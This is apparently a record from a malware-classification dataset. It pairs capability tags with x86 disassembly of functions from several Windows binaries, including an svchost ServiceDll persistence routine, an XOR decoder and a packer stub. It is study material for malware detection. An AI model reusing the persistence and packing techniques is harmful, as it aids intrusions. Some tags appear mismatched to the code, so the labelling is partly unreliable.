joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000fa00
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Gmsag___uogshdwPlu
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000f920
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.1000f980
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push reloc.WS2_32.dll_bind
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__TesgTOafnckksk_jlr
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__TesgTOafnckksk_jlr
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000f920
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000f980
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000fee0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push ebx
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [ebp - 0x23c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
xor eax, eax
lea edi, [ebp - 0x219]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
nop
nop
nop
nop
nop
nop
nop
mov edi, str.Gmsag___uogshdwPlu
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x23c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x23c]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 0x30
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [ebp - 4]
lea ecx, [ebp - 0x23c]
push eax
push 0xf003f
push 0
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000ffb4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x110]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x110]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [ebp - 8], 2
mov dword [ebp - 0xc], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x110]
push str._RqmbzdlDjn_p__TesgTOafnckksk_jlr
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10010040
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [ebp - 0x48]
lea eax, [ebp - 4]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [ebp - 0x48]
push 0
push ecx
push reloc.WS2_32.dll_bind
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001016d
mov ecx, 0x1f3
lea edi, [ebp - 0x817]
mov byte [ebp - 0x818], al
lea edx, [ebp - 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [ebp - 0x818]
push edx
mov edx, dword [ebp - 4]
mov dword [ebp - 8], 7
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x818]
lea ecx, [ebp - 8]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [ebp - 0xc], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov eax, dword [ebp - 4]
push eax
jne 0x10010167
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [ebp - 0x818]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [ebp - 0x818]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x10], 0
mov esi, ecx
test si, si
je 0x1001016d
cmp si, 1
je 0x1001016d
push str.Gmsag___uogshdwPlu
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1001015b
mov ecx, dword [ebp - 0x10]
mov eax, esi
and eax, 0xffff
test si, si
lea edx, [ecx + eax + 1]
lea ebx, [ebx + eax + 1]
mov dword [ebp - 0x10], edx
je 0x1001016d
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1001010e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10010180
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000fee0
test eax, eax
jne 0x1001018e
call fcn.1000fa00
call fcn.10010040
test eax, eax
jne 0x1001019c
jmp fcn.1000fc00
ret
Function at 0x430006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x57203f40
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x65181972
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x49b7e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x47d015
lea edi, [esi - 0x7c015]
push edi
or ebp, 0xffffffff
jmp 0x49b802
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x49b809
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49b7f8
mov eax, 1
add ebx, ebx
jne 0x49b81b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x49b82c
jne 0x49b84b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49b84b
dec eax
add ebx, ebx
jne 0x49b838
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x49b810
add ebx, ebx
jne 0x49b847
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x49b89d
xor ecx, ecx
sub eax, 3
jb 0x49b863
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x49b8d2
sar eax, 1
mov ebp, eax
jmp 0x49b86e
add ebx, ebx
jne 0x49b86e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49b83c
inc ecx
add ebx, ebx
jne 0x49b87c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49b83c
add ebx, ebx
jne 0x49b889
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x49b87e
jne 0x49b89a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x49b87e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x49b8bc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x49b8ae
jmp 0x49b7fe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x49b8bc
add edi, ecx
jmp 0x49b7fe
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x49b8da
cmp byte [edi], 7
jne 0x49b8da
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x49b8df
lea edi, [esi + 0x99000]
mov eax, dword [edi]
or eax, eax
je 0x49b957
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9b8ac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9b8e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x49b90c
mov ecx, edi
jns 0x49b93b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9b8f0]
or eax, eax
je 0x49b951
mov dword [ebx], eax
add ebx, 4
jmp 0x49b929
call dword [esi + 0x9b8ec]
mov ebp, dword [esi + 0x9b8f4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x49b98b
sub esp, 0xffffff80
jmp 0x40260c
Function at 0x401000
Capabilities:
Query environment variable
Query or enumerate registry value
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0x800
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareData_Access_WorldwideDataFlex18.2Defaults
push 0x80000002
call dword cs:[sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4010b1
lea eax, [ebp - 8]
push eax
push 0x4e90c9
push 0
push 0
push str.VdfRootDir
push dword [ebp - 4]
call dword cs:[sym.imp.advapi32.dll_RegQueryValueExA]
push eax
push dword [ebp - 4]
call dword cs:[sym.imp.advapi32.dll_RegCloseKey]
pop eax
test eax, eax
jne 0x4010b1
push str.Bin_
push 0x4e90c9
call dword cs:[sym.imp.msvcrt.dll_strcat]
add esp, 8
push 0x4e90c9
call dword cs:[sym.imp.msvcrt.dll_strlen]
add esp, 4
mov dword [ebp - 8], eax
push ecx
push 0x800
mov ecx, dword [ebp - 8]
lea eax, [ecx + 0x4e90c9]
push eax
push str.PATH
call dword cs:[sym.imp.kernel32.dll_GetEnvironmentVariableA]
pop ecx
push 0x4e90c9
push str.PATH
call dword cs:[sym.imp.kernel32.dll_SetEnvironmentVariableA]
push str.vdfvm18.dll
call dword cs:[sym.imp.kernel32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x4010fd
push str._FlexRunProgramEx_4
push dword [ebp - 0xc]
call dword cs:[sym.imp.kernel32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4010e3
push str.VDFOEMAnsi__09_19_2017_09:39:34__c__Development_Associates__Inc.
call dword cs:[ebp - 0x10]
push dword [ebp - 0xc]
call dword cs:[sym.imp.kernel32.dll_FreeLibrary]
test dword [ebp - 0x10], 0xffffffff
je 0x4010fd
mov eax, 0
jmp 0x401114
push 0x10
push 0
push str.Unable_to_locate_a_compatible_version_of_vdfvm18.dll__version_18.2__or_one_of_its_components.
push 0
call dword cs:[sym.imp.user32.dll_MessageBoxA]
mov eax, 1
push eax
call dword cs:[sym.imp.msvcrt.dll_exit]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402590
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
xor edi, edi
cmp dword [esp + 0x24], 0
je 0x402687
mov ebx, dword [esp + 0x28]
test ebx, ebx
je 0x402687
push ebx
call fcn.00408ee0
add esp, 4
test eax, eax
je 0x4025ea
xor ebp, ebp
mov ecx, 0x1505
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebx + ebp]
test edx, edx
je 0x4025f1
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc ebp
mov ecx, esi
cmp eax, ebp
jne 0x4025d0
jmp 0x4025f3
mov esi, 0x1505
jmp 0x4025f3
mov esi, ecx
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x24]
mov ebx, dword [ecx + 0x20]
lea ebp, [ebx - 1]
mov edx, ebx
sub edx, 1
jb 0x402687
and ebp, esi
mov eax, dword [ecx + 4]
mov dword [esp + 0xc], eax
mov dword [esp], edx
jmp 0x402624
inc ebp
dec ebx
je 0x402685
mov eax, ebp
and eax, edx
mov edi, dword [esp + 0xc]
mov edi, dword [edi + eax*4]
cmp edi, 0xffffffff
je 0x402685
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x402620
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 8], eax
push eax
call fcn.00408ee0
mov edx, dword [esp + 4]
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp + 4]
jne 0x402620
push dword [esp + 4]
push dword [esp + 0xc]
push dword [esp + 0x30]
call fcn.00408f00
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x402620
mov eax, dword [ecx + 0x10]
mov edi, dword [eax + edi*4]
jmp 0x402687
xor edi, edi
mov eax, edi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4026a0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
xor eax, eax
test ecx, ecx
je 0x402787
test edx, edx
je 0x402787
mov ebp, dword [esp + 0x28]
test ebp, ebp
mov dword [esp], ecx
je 0x4026ea
xor edi, edi
mov ecx, 0x1505
nop
nop
nop
nop
nop
movzx ebx, byte [edx + edi]
test ebx, ebx
je 0x4026f1
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, ebx
inc edi
mov ecx, esi
cmp ebp, edi
jne 0x4026d0
jmp 0x4026f3
mov esi, 0x1505
jmp 0x4026f3
mov esi, ecx
mov dword [esp + 8], edx
mov ecx, dword [esp]
mov ebp, dword [ecx + 0x20]
lea ebx, [ebp - 1]
mov edx, ebp
sub edx, 1
jb 0x402787
and ebx, esi
mov eax, dword [ecx + 4]
mov dword [esp + 0x10], eax
mov dword [esp + 4], edx
jmp 0x402724
inc ebx
dec ebp
je 0x402785
mov eax, ebx
and eax, edx
mov edi, dword [esp + 0x10]
mov edi, dword [edi + eax*4]
cmp edi, 0xffffffff
je 0x402785
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x402720
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 0xc], eax
push eax
call fcn.00408ee0
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x402720
push dword [esp + 0x28]
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.00408f00
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
add esp, 0xc
test eax, eax
jne 0x402720
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
jmp 0x402787
xor eax, eax
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402c90
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, 0xffffffff
test ecx, ecx
je 0x402d98
mov esi, edx
test edx, edx
je 0x402d98
mov dword [esp], ecx
cmp dword [esp + 0x2c], 0
je 0x402d98
push esi
call fcn.00408ee0
add esp, 4
test eax, eax
je 0x402cea
xor edi, edi
mov ecx, 0x1505
movzx edx, byte [esi + edi]
test edx, edx
je 0x402cf1
mov ebp, ecx
shl ebp, 5
add ebp, ecx
add ebp, edx
inc edi
mov ecx, ebp
cmp eax, edi
jne 0x402cd0
jmp 0x402cf3
mov ebp, 0x1505
jmp 0x402cf3
mov ebp, ecx
mov dword [esp + 8], esi
mov ecx, dword [esp]
mov esi, dword [ecx + 0x20]
lea ebx, [esi - 1]
mov edx, esi
sub edx, 1
mov dword [esp + 0x10], edx
jae 0x402da0
mov edi, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
jb 0x402d5a
call fcn.00402e90
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov ecx, dword [esp + 8]
jne 0x402d98
push ecx
call fcn.00408ee0
add esp, 4
mov dword [esp + 4], eax
mov ecx, dword [esp]
mov esi, dword [ecx + 0x20]
lea ebx, [esi - 1]
mov eax, esi
sub eax, 1
mov dword [esp + 0x10], eax
jae 0x402e0f
mov edi, 0xffffffff
mov eax, dword [ecx + 0xc]
mov edx, dword [ecx + 0x18]
mov esi, dword [esp + 8]
mov dword [eax + edx*4], esi
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x18]
mov dword [eax + edi*4], edx
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0x18]
mov esi, dword [esp + 0x2c]
mov dword [eax + edx*4], esi
mov eax, dword [ecx + 0x14]
mov edx, dword [ecx + 0x18]
mov dword [eax + edx*4], edi
mov eax, dword [ecx + 8]
mov edx, dword [ecx + 0x18]
mov dword [eax + edx*4], ebp
inc dword [ecx + 0x18]
mov eax, dword [ecx]
mov dword [esi], eax
xor eax, eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 4], eax
and ebx, ebp
mov eax, dword [ecx + 4]
mov dword [esp + 0xc], eax
jmp 0x402db8
inc ebx
dec esi
je 0x402d0f
mov edi, ebx
and edi, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
mov eax, dword [eax + edi*4]
cmp eax, 0xffffffff
je 0x402d14
mov edx, dword [ecx + 8]
cmp dword [edx + eax*4], ebp
jne 0x402db0
mov ecx, dword [ecx + 0xc]
mov edi, dword [ecx + eax*4]
push edi
call fcn.00408ee0
mov ecx, dword [esp + 4]
add esp, 4
cmp eax, dword [esp + 4]
jne 0x402db0
push dword [esp + 4]
push edi
push dword [esp + 0x10]
call fcn.00408f00
mov ecx, dword [esp + 0xc]
add esp, 0xc
test eax, eax
jne 0x402db0
mov eax, 0xffffffff
jmp 0x402d98
and ebx, ebp
mov eax, dword [ecx + 4]
mov dword [esp + 0xc], eax
jmp 0x402e28
inc ebx
dec esi
je 0x402d55
mov edi, ebx
and edi, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
mov eax, dword [eax + edi*4]
cmp eax, 0xffffffff
je 0x402d5a
mov edx, dword [ecx + 8]
cmp dword [edx + eax*4], ebp
jne 0x402e20
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + eax*4]
mov dword [esp + 0x14], eax
push eax
call fcn.00408ee0
mov ecx, dword [esp + 4]
add esp, 4
cmp eax, dword [esp + 4]
jne 0x402e20
push dword [esp + 4]
push dword [esp + 0x18]
push dword [esp + 0x10]
call fcn.00408f00
mov ecx, dword [esp + 0xc]
add esp, 0xc
test eax, eax
jne 0x402e20
jmp 0x402d5a
Function at 0x403610
Capabilities:
Compute adler32 checksum
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov ebp, dword [esp + 0x2c]
test ebp, ebp
je 0x4037c6
mov ebx, dword [esp + 0x30]
mov ecx, dword [esp + 0x28]
movzx edi, cx
shr ecx, 0x10
test ebx, ebx
je 0x4037bf
mov edx, 0x5e6ea9af
mov eax, ebx
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov esi, ebx
sub esi, eax
jmp 0x4036a8
add ebp, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
mov eax, edi
mov esi, 0x80078071
mul esi
shr edx, 0xf
imul eax, edx, 0xfff1
sub edi, eax
mov eax, ecx
mul esi
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
mov edx, dword [esp + 4]
mov eax, edx
xor eax, ebx
not edx
and edx, ebx
add edx, edx
mov ebx, edx
mov esi, 0x15b0
sub ebx, eax
je 0x4037bf
xor edx, edx
cmp esi, 8
mov dword [esp + 4], esi
jb 0x40371d
and esi, 0x1ff8
mov dword [esp], esi
xor edx, edx
nop
nop
mov eax, edx
movzx edx, byte [ebp + edx]
add edx, edi
add ecx, edx
movzx esi, byte [ebp + eax + 1]
add esi, edx
add ecx, esi
movzx edx, byte [ebp + eax + 2]
add edx, esi
add ecx, edx
movzx esi, byte [ebp + eax + 3]
add esi, edx
add ecx, esi
movzx edx, byte [ebp + eax + 4]
add edx, esi
add ecx, edx
movzx esi, byte [ebp + eax + 5]
add esi, edx
add ecx, esi
movzx edx, byte [ebp + eax + 6]
add edx, esi
mov esi, dword [esp + 4]
add ecx, edx
movzx edi, byte [ebp + eax + 7]
add edi, edx
add ecx, edi
lea edx, [eax + 8]
add eax, 0xf
cmp eax, esi
jb 0x4036c0
add ebp, edx
mov edx, dword [esp]
mov eax, esi
sub eax, edx
jbe 0x403668
mov dword [esp], edx
not edx
add edx, esi
mov dword [esp + 8], edx
and esi, 3
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], eax
je 0x403773
neg esi
xor edx, edx
mov ebx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [ebx]
inc ebx
add edi, eax
add ecx, edi
dec edx
cmp esi, edx
jne 0x403750
mov eax, dword [esp]
sub eax, edx
mov edx, eax
mov eax, dword [esp + 8]
cmp eax, 3
jb 0x403660
jmp 0x403785
mov ebx, ebp
mov eax, dword [esp + 8]
mov edx, dword [esp]
cmp eax, 3
jb 0x403660
mov eax, dword [esp + 4]
sub eax, edx
xor edx, edx
nop
nop
nop
movzx esi, byte [ebx + edx]
add esi, edi
add ecx, esi
movzx edi, byte [ebx + edx + 1]
add edi, esi
add ecx, edi
movzx esi, byte [ebx + edx + 2]
add esi, edi
add ecx, esi
movzx edi, byte [ebx + edx + 3]
add edi, esi
add ecx, edi
add edx, 4
cmp eax, edx
jne 0x403790
jmp 0x403660
shl ecx, 0x10
or ecx, edi
jmp 0x4037cb
mov ecx, 1
mov eax, ecx
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4037e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x403832
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
test edx, edx
je 0x403834
not eax
xor esi, esi
nop
nop
nop
nop
nop
movzx edi, byte [ecx + esi]
mov ebx, eax
shr ebx, 4
xor eax, edi
and eax, 0xf
xor ebx, dword [eax*4 + 0x43da18]
mov eax, ebx
shr eax, 4
and ebx, 0xf
shr edi, 4
xor edi, ebx
xor eax, dword [edi*4 + 0x43da18]
inc esi
cmp edx, esi
jne 0x403800
not eax
jmp 0x403834
xor eax, eax
pop esi
pop edi
pop ebx
ret
Function at 0x408d40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebx, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
cmp eax, esi
jbe 0x408da0
lea ecx, [esi + ebx]
cmp ecx, eax
jbe 0x408da0
test ebx, ebx
je 0x408e30
lea ecx, [esi + ebx]
dec ecx
lea edx, [eax + ebx]
dec edx
mov esi, ebx
and esi, 3
je 0x408de5
lea ebp, [ebx + ebx]
neg esi
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [ecx + edi]
mov byte [edx + edi], al
dec edi
add ebp, 0xfffffffe
cmp esi, edi
jne 0x408d80
add edx, edi
lea esi, [ebx + edi]
add ecx, edi
cmp ebx, 4
jae 0x408dec
jmp 0x408e30
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ebp, ebx
and ebp, 0xfffffffc
add eax, ebp
add ebp, esi
mov ecx, ebx
xor ecx, 0xfffffffc
mov esi, ebx
or esi, 3
and esi, ecx
mov ecx, esi
shr ecx, 1
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
test bl, 1
je 0x408e30
and esi, 0xfffffffe
movzx ecx, byte [ebp + esi]
mov byte [eax + esi], cl
jmp 0x408e30
mov esi, ebx
cmp ebx, 4
jb 0x408e30
mov edi, 1
sub edi, esi
add esi, esi
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [ecx + ebx*2]
mov byte [edx + ebx*2], al
movzx eax, byte [ecx + ebx*2 - 1]
mov byte [edx + ebx*2 - 1], al
movzx eax, byte [ecx + ebx*2 - 2]
mov byte [edx + ebx*2 - 2], al
movzx eax, byte [ecx + ebx*2 - 3]
mov byte [edx + ebx*2 - 3], al
add ebx, 0xfffffffe
add edi, 4
add esi, 0xfffffff8
cmp edi, 1
jne 0x408e00
mov eax, dword [esp + 0x14]
pop esi
pop edi
